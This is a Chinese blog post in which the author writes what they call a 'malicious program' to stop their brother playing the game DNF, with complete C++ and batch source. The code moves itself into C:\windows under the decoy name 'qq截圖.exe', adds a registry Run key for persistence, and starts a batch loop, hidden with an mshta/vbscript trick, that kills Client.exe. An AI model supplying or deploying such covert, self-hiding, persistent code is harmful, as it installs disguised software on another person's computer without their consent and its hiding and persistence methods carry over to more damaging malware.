1. 程式人生 > >雜記--幫我哥戒網癮的惡意程式

雜記--幫我哥戒網癮的惡意程式

前記

每次回去,都能看見我哥在玩08年的DNF,20來歲的人了,沉迷遊戲無法自拔,我想讓他做點有意義的事,怎麼辦呢。直接把遊戲解除安裝了?或是把角色全刪了?不行,我估計會被他200斤的重拳錘死。這時候就需要我們程式設計師的聰明才智了。

實現原理

我先試了下開啟DNF,發現會先啟動一個Client.exe的啟動程式。靈光一閃。
1–我可以寫個程式,監聽Client.exe啟動,如果啟動了就給他關閉。
2–當然這樣只會執行一次,下次開機就無法使用了。所以我還需要修改登錄檔,把程式放入run裡面,這樣開機自動啟動程式。
3–當然還有個問題,我程式放在那裡呢,如果放在桌面或者簡單的位置,他發現了,刪除了怎麼辦?所以我們還要將程式移動到某個隱藏的位置。
所以,步驟2,3我們可以呼叫window api實現,步驟1可以通過一個bat批處理指令碼實現。
(回家時間有限,寫得比較簡單,也不能通過防毒軟體,當然我能接觸他的電腦是不用擔心的)

0x1 步驟3的移動程式

獲得執行程式的當前路徑。

DWORD WINAPI GetModuleFileName(
    _In_opt_  HMODULE hModule, // 為空返回應用程式全路徑
    _Out_     LPTSTR lpFilename, //輸出緩衝區
    _In_      DWORD nSize      //緩衝區大小
);

再呼叫 dos命令 move 進行移動。

0x2 步驟2的修改登錄檔

開啟登錄檔

LONG RegOpenKey( HKEY hKey, // 要開啟鍵的控制代碼
LPCTSTR lpSubKey, // 要開啟子鍵的名字的地址
PHKEY phkResult // 要開啟鍵的控制代碼的地址);

修改登錄檔

LONG RegSetValueEx(
    HKEY hKey,//一個已開啟項的控制代碼
    LPCTSTR lpValueName,//指向一個字串的指標,該字串包含了欲設定值的名稱。
    DWORD Reserved,//填0
    DWORD dwType,//指定將被儲存的資料型別
    CONST BYTE *lpData,//指向一個緩衝區,該緩衝區包含了欲為指定值名稱儲存的資料。
    DWORD cbData//指定由lpData引數所指向的資料的大小,單位是位元組。
);

0x3 監聽遊戲啟動

原理:一個批處理無限迴圈,用ping命令進行延時處理,然後獲取當前系統的程序寫入1.text檔案中。查詢1.text檔案中是否有Client.exe程序,有則殺死這個程序,否者繼續迴圈。

cpp程式碼

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<windows.h> 
int main()
{
	#ifndef  x//如果該程式第一次執行,先移動和進行登錄檔修改
	#define  x 
    char path[256];
    char path2[256]="C:\\windows";//移動目的地
    char path3[256];
	int ret;
	char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //開機啟動路徑
    HKEY hkResult; 
    GetModuleFileName(0,path,256); //獲得自身路徑 
    sprintf(path3,"move %s %s",path,path2);//移動命令
    system(path3);//移動
    ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);//開啟登錄檔
	ret=RegSetValueEx(hkResult,"zdt",0,REG_EXPAND_SZ,(unsigned char *) "C:\\windows\\qq截圖.exe",40);//修改登錄檔 
    if(ret==0){ 
    printf("success to write run key\n"); 
    RegCloseKey(hkResult); 
} 
    else { 
    printf("failed to open regedit.%d\n",ret); 
         }
    #endif
	//system("shutdown -g -t  30");
     system("111.bat");//執行迴圈查詢遊戲
	return 0;        
}

bat程式碼

關閉輸出
隱藏視窗
ping 命令等待一段時間
tasklist重定向到1.text
find 查詢Client程序
分支判斷是否啟動
啟動則殺死程序

@echo off  
if "%1" == "h" goto begin   
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit   
:begin 


:loop
ping 127.0.0.1 -n 6 >nul  
tasklist /nh>.\1.txt 
find /i "Client.exe" .\1.txt
if ERRORLEVEL 1 (goto :loop) else (goto :go1)
:go1
taskkill /f /IM Client.exe
goto :loop